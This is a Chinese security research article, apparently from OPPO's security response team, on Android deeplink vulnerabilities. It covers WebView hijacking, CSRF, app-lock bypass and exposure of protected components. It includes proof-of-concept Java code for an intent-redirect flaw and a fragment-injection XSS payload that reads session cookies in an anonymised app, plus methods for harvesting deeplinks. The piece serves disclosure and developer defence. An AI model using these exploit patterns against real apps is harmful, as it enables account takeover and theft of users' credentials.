作者:heeeeen
公眾號:OPPO安全應急響應中心
0x01 deeplink簡介
deeplink 是一種在網頁中啟動App的超鏈接。當用戶點擊deeplink鏈接時,Android系統會啟動注冊該deeplink的應用,打開在Manifest文件中注冊該deeplink的activity。
例如,按照Manifest文件,example://gizmos和http://www.example.com/gizmos這兩個deeplink 都可以被用來啟動GizmosActivity.
xml<activity
android:name="com.example.android.GizmosActivity"
roid:label="@string/title_gizmos" >
<intent-filterandroid:label="@string/filter_view_http_gizmos"> <action android:name="android.intent.action.VIEW" ></action> category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" ></category>
<!-- Accepts URIs that begin with "http://www.example.com/gizmos” -->
<data android:scheme="http" android:host="www.example.com"
android:pathPrefix="/gizmos" ></data>
<!-- note that the leading "/" is required for pathPrefix-->
</intent-filter>
<intent-filter android:label="@string/filter_view_example_gizmos">
<action android:name="android.intent.action.VIEW" ></action> <category android:name="android.intent.category.DEFAULT" ></category> <category android:name="android.intent.category.BROWSABLE" ></category>
<!-- Accepts URIs that begin with "example://gizmos” --> <data android:scheme="example"
android:host="gizmos" ></data>
</intent-filter>
</activity>```
對于deeplink,可以通過adb shell am start -a android.intent.action.VIEW -d <deeplink>打開注冊deeplink的Activity,方便地在本地環境測試。
由于deeplink天然具有遠程的特性,只需要用戶點擊一下,就可以啟動Activity,若這個過程造成安全影響,就是一個1-click的遠程漏洞,因此對App而言,deeplink是最為常見的遠程攻擊面。
0x02 deeplink的安全問題
有一類特殊的基于intent:// scheme的deeplink,各瀏覽器都出現過與之相關的安全漏洞,文章有專門的討論,其安全問題不是本文討論的重點。本文主要討論App自定義scheme deeplink引入的安全問題。
通過deeplink操縱WebView
在deeplink漏洞當中,打開App的WebView訪問攻擊者可控鏈接攜帶token,甚至盜取文件或者調用其中的特權接口,又最為常見。例如:
- Facebook App
這是一個價值8500刀的Facebook app 漏洞,白帽子對Facebook App大量的fb:// deeplink進行了整理、篩選和自動化測試,找到了3個deeplink可以打開WebView組件訪問指定的url,而且這個url支持file://, 并可以打開本地文件,盡管沒有給出自動盜取文件的利用方法,facebook仍然慷慨地獎勵了這一漏洞。
- Grab App
bagipro發現通過deeplinkgrab://open?screenType=HELPCENTER&page=<evil-site>可打開grab app的WebView,并訪問攻擊者可控的url,通過js調用WebView的特權接口可盜取用戶的敏感信息。
另外,之前玄武實驗室披露的應用克隆漏洞,其實也是通過deeplink打開WebView,利用WebView設置配置不當,盜取App私有目錄的所有文件實現應用克隆。這一類deeplink需要重點關注url、extra_url、page、link等參數,看是否可以設置為任意域名打開webview。
通過deeplink構造CSRF
針對twitter的Periscope Android App,若用戶點擊形為pscp://user/<user-id>或者 pscpd://user/<user-id>則可以繞過確認對話框,直接follow指定user-id的用戶。而用戶點擊www.pscp.tv<user-id>/follow是需要彈出確認對話框的。
通過deeplink繞過應用鎖
Shopify App具有基于指紋的應用鎖功能,然而卻可以通過點擊deeplink https://www.shopify.com/admin/products繞過應用鎖,無限制地使用app的功能。
另外,還有 sambal0x分享的一個案例,通過deeplink構造條件競爭,繞過應用鎖。
通過deeplink打開App保護組件
這里分享自己在某App滲透測試中的deeplink漏洞案例(漏洞已經修復,但隱去app信息,以victim-app代替)類似于facebook app,該App包含大量(>200)的deeplink,散落在java代碼和asset目錄的js文件中。對這些deeplink進行篩選和簡單Fuzz,發現了多個安全問題。包括:
- 多個deeplink控制WebView url跳轉指定網址,只能用來phishing;
- 兩個deeplink可以打開ReactNativeWebView且支持file://;
- 一個deeplink可以打開WebView并攜帶重要的oauth_token泄露到攻擊者指定的鏈接;
- 兩個deeplink分別能啟動app調試、停止app調試并在不安全的外部存儲生成profile文件
在這些安全問題當中,最有意思的則是可以通過deeplink打開App的保護組件,漏洞的根本原因在于,Intent extra可以通過deeplink以參數的形式傳遞至App中哪些不導出的Activity中,從而暴露了大量的攻擊面。通過adb shell am start -a android.intent.action.VIEW -d <deeplink>測試所有的deeplink,同時監控adb logcat -s ActivityManager,尋找處理deeplink的最終Activity,我發現了兩個打開App保護組件的問題:
- 通過deeplink打開任意activity
通過測試victim-app://c/identitychina,發現經過復雜的Intent傳遞,最終可以打開IdentityChinaActivity。
如代碼所示,globalIdentityFlowIntent作為一個Parcelable對象,可以跟隨deeplink的Intent extra傳遞,為攻擊者可控。而這個embeded Intent最終會傳入startActivityForResult,造成一個launchAnyWhere漏洞,攻擊者可以通過globalIdentityFlowIntent指向不導出的Activity,或者構造App所持有權限的特權操作,實現提權或者盜取敏感信息。
java
protected void onActivityResult(int arg3, int arg4, Intent arg5) {
super.onActivityResult(arg3, arg4, arg5);
int v0 = 100;
if(arg3 == 1 && arg5 != null) {
String v3 = arg5.getStringExtra("country_code");
IdentityChinaAnalyticsV2.d(v3);
if(this.o != null) {
AccountVerificationActivityIntents.a(v3);
this.startActivityForResult(this.o, v0); //this.o is an attacker controlled Intent
}
}
else if(arg3 == v0) {
arg3 = -1;
if(arg4 == arg3) {
this.setResult(arg3);
this.finish();
}
}
}
protected void onCreate(Bundle arg2) {
super.onCreate(arg2);
this.setContentView(layout.activity_simple_fragment);
ButterKnife.a(((Activity)this));
if(arg2 == null) {
this.c(true);
new ChinaVerificationsRequest().a(this.n).execute(this.I);
}
Intent v2 = this.getIntent();
if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) {
this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent
}
}
通過如下POC可實現漏洞利用
java
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("victim-app://c/identitychina"));
Intent payload = new Intent();
payload.setComponent(new ComponentName("<victim app package name>",
"<victim app protected component name>"));
intent.putExtra("globalIdentityFlowIntent", payload);
startActivity(intent);
```
- 通過deeplink打開任意fragment
對deeplink victim-app://c/contact/2?fragmen_class=AAAA進行測試時,觸發了crash,如下
```shell
$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"
03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 27066
03-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public
......(skip)
03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
```
仔細分析,發現crash原因在于deeplink最終打開了ModalActivity,無法對名為AAAA的Fragment類實例化。如果在deeplink中的fragment_class參數傳入一個victim-app已有的Fragment,則可以通過ModalActivity啟動。在這個參數當中,我嘗試傳入了所有已有的Fragment Class,有的可以成功啟動,有的卻因為參數不完整造成crash,但是這里能夠造成何種安全影響卻費了一番周折。
最終,我找到一個GoogleWebViewMapFragment,有機會執行loadDataWithBaseURL,通過WebView加載HTML/JS.
```java
@SuppressLint(value={"SetJavaScriptEnabled", "AddJavascriptInterface"}) public
View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) { View v7 = arg7.inflate(layout.fragment_webview, arg8, false);
this.a = v7.findViewById(id.webview);
this.d = v7;
WebSettings v8 = this.a.getSettings();
v8.setSupportZoom(true);
v8.setBuiltInZoomControls(false);
v8.setJavaScriptEnabled(true);
v8.setGeolocationEnabled(true);
v8.setAllowFileAccess(false);
v8.setAllowContentAccess(false);
this.a.setWebChromeClient(new GeoWebChromeClient(this));
VicMapType v8_1 = VicMapType.b(this.o());
this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!!
this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView");
return v7;
}
```
第一個參數v8_1.c()為baseUrl,第二個參數v8_1.a(this.w())為data,如果能同時通過deeplink控制這兩個參數,就可以操縱WebView在任意baseUrl加載任意HTML/JS。
第一個參數v8_1.c()就是下面的c()方法,這個參數的返回值this.c將會放在某個Bundle中的map_domain,此外,也發現this.b作為Bundle的map_url,this.a作為Bundle的map_file_name。
第二個參數v8_1.a(this.w())為下面的a(Resources arg3)方法,調用VicMapUtils.a方法,并調用this.b方法對文件中的MAPURL字符串進行替換。
```java
public VicMapType(String arg1, String arg2, String arg3) {
super();
this.a = arg1;
this.b = arg2;
this.c = arg3;
}
public String a(Resources arg3) {
return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN",Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry());
}public Bundle a(Bundle arg3) {
arg3.putString("map_domain", this.c()); // this.c is put in map_domain
arg3.putString("map_url", this.b()); // this.b is put in map_url arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name
return arg3;
}
String a() {
return this.a;
}
public static VicMapType b(Bundle arg5) {
return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", ""));
}
String b(){
return this.b;
}
String c() { // v8_1.c()
return this.c;
}
```
檢查VicMapUtils.a,發現是打開app asset目錄下的文件并讀入。
```
java
public class VicMapUtils {
public static String a(Resources arg2, String arg3) {
try {
InputStream v2 = arg2.getAssets().open(arg3);
String v0 = VicMapUtils.a(v2);
v2.close();
return v0;
}
catch(IOException ) {
StringBuilder v0_1 = new StringBuilder();
v0_1.append("unable to load asset ");
v0_1.append(arg3);
throw new RuntimeException(v0_1.toString());
}
}
public static String a(InputStream arg2) {
BufferedReader v0 = new BufferedReader(new InputStreamReader(arg2));
StringBuilder v2 = new StringBuilder();
while(true) {
String v1 = v0.readLine();
if(v1 == null) {
break;
}
v2.append(v1);
v2.append("\n");
}
v0.close();
return v2.toString();
}
}
```
此時,我檢查了APK中的asset目錄,找到了一些html文件
```
shell$ ls -l *.html
-rwxr-xr-x 1 heeeeen h4cker 8290 3 6 08:28 google_map.html
-rwxr-xr-x 1 heeeeen h4cker 15024 3 6 08:28 leaflet_map.html
-rwxr-xr-x 1 heeeeen h4cker 5546 3 6 08:28 mapbox.html
```
同時,在google_map.html中找到了MAPURL字符串:
html$ cat google_map.html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="utf-8">
<style>
html, body, #map-canvas {
height: 100%;
margin: 0px;
padding: 0px
}
</style>
<script src="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN®ion=REGIONTOKEN"></script>
<script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script>
<script>
var map;
var infoWindow = null;
var markers = {};
var infoWindowContent = {};
var polylines = {};
漏洞利用的線索開始有一些明了,如果控制了MAPURL字符串,就可以構造一個XSS。
再來看看所涉及Bundle的構造,這個Bundle其實就是啟動Fragment的參數,經過實驗表明這個Bundle參數可以隨deeplink的Intent extra傳遞。
java
public Bundle a(Bundle arg3) {
arg3.putString("map_domain", this.c()); // this.c is put in map_domain
arg3.putString("map_url", this.b()); // this.b is put in map_url
arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name
return arg3;
}
所以,map_domain作為loadDataWithBaseURL的第一個參數,需要傳入我們想要在其中執行JS的domain,也就是該App使用的登陸態domain:http://www.vicitim-app.com;map_url>作為loadDataWithBaseURL的第二個參數,需要傳入攻擊payload;而map_file_name則需要指向文件名google_map.html,WebView就會加載這個注入攻擊payload的html文件。
至此,可以通過這個deeplink打開任意fragment的漏洞,實現可控任意域執行任意JS,實現盜取登陸態的用戶cookie!
POC如下:
java
Intent payload = new Intent(Intent.ACTION_VIEW);
payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment"));
Bundle extra = new Bundle();
extra.putString("map_url", "\"></script><script>alert(document.cookie);</script><script>");
extra.putString("map_file_name", "google_map.html");
extra.putString("map_domain", "https://www.victim-app.com"); payload.putExtra("bundle", extra);
startActivity(payload);
0x03 deeplink的收集
既然deeplink暴露了大量的攻擊面,且容易出現遠程漏洞,因此deeplink的收集就成為漏洞挖掘的重點。首先,需要解析Manifest文件中的android:scheme及android:host提取出deeplink的protocol://hostname,接下來可以采用五種方法:
- 本地搜索:通過Mainifest文件篩選出自定義的deeplink URL scheme,進而在本地逆向代碼中正則匹配,提取出盡可能完整的deeplink URI,注意不要漏過所有文件。因為以經驗來看,deeplink可能出現在App的Java代碼中、Asset目錄的資源文件/js中,甚至還可能出現在so當中;
- 流量監控:對app進行抓包,利用HTTP抓包工具或者實現成burp插件監測流量中的deeplink,盡可能在app中點擊各種場景,從請求包和返回包中正則匹配出完整的deeplink;
- IPC監控:通過hook動態監測IPC通信中出現的deeplink,將Intent中的data提取出來,可以利用burp插件brida,甚至與流量監控整合;
- 遠程爬取:對app Web端網頁進行爬取,篩選出deeplink。不過這種方法我沒有實踐過,只是偶爾在網頁源碼中發現過。
- 基于deeplink特征:如果APP使用了一些路由分發的sdk,由于這類sdk有特定的規律,因此可以通過正則解析這類規律來獲取到完整的deeplink。以ali arouter為例,可以通過提取build Route后面的path作為deeplink URI的path。提取build Autowired后面的name作為deeplink中的parameters。然后和第一步中獲取到的內容進行拼接,從而獲取到一個完整的deeplink。
然而,按照上述思路收集的deeplink還是可能不完整,難以得到完整的參數。從白帽子的角度,deeplink收集始終是挖掘deeplink漏洞的最大難點。
0x04 對開發者的建議
開發者特別要重點關注與deeplink有關的WebView安全問題,這一類漏洞在deeplink安全問題中占比最大。需要小心deeplink中url、extra_url、page、link、redirect等參數,檢查是否可以修改這些參數使WebView訪問任意域名。如果這本身是一個業務設計,建議對用戶給出外域跳轉提示,同時禁止WebView對file://的訪問,禁止loadUrl訪問外域攜帶重要的認證token,并仔細檢查WebView開放敏感javaScriptInterface或JsBridge接口所做的域名白名單校驗。
此外,由于deeplink無法驗證來源,因此也不能用來設計為觸發一個對安全有影響的敏感操作,例如:
- 發送攜帶認證token的數據包
- 打開保護組件
- 繞過應用鎖
- 無需用戶交互對外撥號
- 靜默安裝應用
- ......
建議使用deeplink的App開發者向內部安全團隊提供所有deeplink清單和設計文檔進行安全測試,這樣可以比外部攻擊者更早、更全面地發現deeplink引入的安全問題。
參考鏈接:
-
https://wooyun.js.org/drops/Intent%20scheme%20URL%20attack.html
-
https://blog.sambal0x.com/2019/10/18/Passcodeactivityraceconditionbypass.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1175/
暫無評論